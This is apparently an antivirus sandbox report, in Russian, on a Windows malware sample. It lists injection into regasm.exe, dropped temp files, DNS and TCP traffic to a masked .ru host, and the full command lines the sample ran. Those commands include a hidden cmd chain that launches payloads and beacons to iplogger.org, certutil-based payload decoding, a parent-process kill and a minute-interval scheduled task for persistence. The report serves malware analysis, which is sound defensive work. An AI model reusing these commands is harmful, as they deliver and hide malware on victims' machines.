Техническая информация
Вредоносные функции
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\2.exe
- %TEMP%\c.exe
- %TEMP%\k.exe
- %TEMP%\nsl3d06.tmp\bhus4zild.dll
- %TEMP%\ixp000.tmp\xfwyt.com
- %TEMP%\ixp000.tmp\oyyq.com
- %TEMP%\ixp000.tmp\vaydd.com
- %TEMP%\ixp000.tmp\wgves.com
- %TEMP%\ixp000.tmp\xkfsb.com
- %TEMP%\ixp000.tmp\hkioq.com
- %TEMP%\ixp000.tmp\lsm.com
- %TEMP%\ixp000.tmp\wudfhost.com
- %TEMP%\ixp000.tmp\r
- %TEMP%\ixp000.tmp\p
Удаляет следующие файлы
- %TEMP%\ixp000.tmp\wgves.com
- %TEMP%\ixp000.tmp\xfwyt.com
- %TEMP%\nsl3d06.tmp\bhus4zild.dll
- %TEMP%\ixp000.tmp\p
- %TEMP%\ixp000.tmp\vaydd.com
- %TEMP%\ixp000.tmp\r
- %TEMP%\ixp000.tmp\hkioq.com
- %TEMP%\ixp000.tmp\xkfsb.com
- %TEMP%\ixp000.tmp\lsm.com
- %TEMP%\ixp000.tmp\oyyq.com
- %TEMP%\ixp000.tmp\wudfhost.com
- %TEMP%\2.exe
Сетевая активность
TCP
- 'h.###curnet.ru':443
UDP
- DNS ASK BT####of.BTZkxgof
- DNS ASK Bm##.BmHd
- DNS ASK h.###curnet.ru
Другое
Создает и запускает на исполнение
- '%TEMP%\2.exe'
- '%TEMP%\c.exe'
- '%TEMP%\k.exe'
- '%TEMP%\ixp000.tmp\lsm.com' r
- '%TEMP%\ixp000.tmp\wudfhost.com' P
- '%WINDIR%\syswow64\cmd.exe' /c start "" "2.exe" & start "" "c.exe" & start "" "k.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1xrxp7"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c <nul set /p ="M" > WUDFHost.com & type xFwyT.com >> WUDFHost.com & del xFwyT.com & certutil -decode OYYQ.com P & WUDFHost.com P & ping 127.0.0.1 -n 3' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c <nul set /p ="M" > lsm.com & type Wgves.com >> lsm.com & del Wgves.com & certutil -decode xkFSb.com r & lsm.com r & ping 127.0.0.1 -n 3' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command $hjn = (Get-WmiObject win32_process -Filter "processid=$pid").parentprocessid; $jszo = (Get-WmiObject win32_process -Filter "processid=$hjn").executablepath; Stop-Process -ID $hjn -For...' (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /create /sc MINUTE /mo 1 /tn "Windows Service" /tr "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" /f' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c start "" "2.exe" & start "" "c.exe" & start "" "k.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1xrxp7"
- '%WINDIR%\syswow64\cmd.exe' /c <nul set /p ="M" > WUDFHost.com & type xFwyT.com >> WUDFHost.com & del xFwyT.com & certutil -decode OYYQ.com P & WUDFHost.com P & ping 127.0.0.1 -n 3
- '%WINDIR%\syswow64\cmd.exe' /c <nul set /p ="M" > lsm.com & type Wgves.com >> lsm.com & del Wgves.com & certutil -decode xkFSb.com r & lsm.com r & ping 127.0.0.1 -n 3
- '%WINDIR%\syswow64\certutil.exe' -decode xkFSb.com r
- '%WINDIR%\syswow64\certutil.exe' -decode OYYQ.com P
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "Invoke-WebRequest -Uri https://iplogger.org/1xrxp7"
- '%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 3
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command $hjn = (Get-WmiObject win32_process -Filter "processid=$pid").parentprocessid; $jszo = (Get-WmiObject win32_process -Filter "processid=$hjn").executablepath; Stop-Process -ID $hjn -For...
- '%WINDIR%\syswow64\schtasks.exe' /create /sc MINUTE /mo 1 /tn "Windows Service" /tr "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" /f
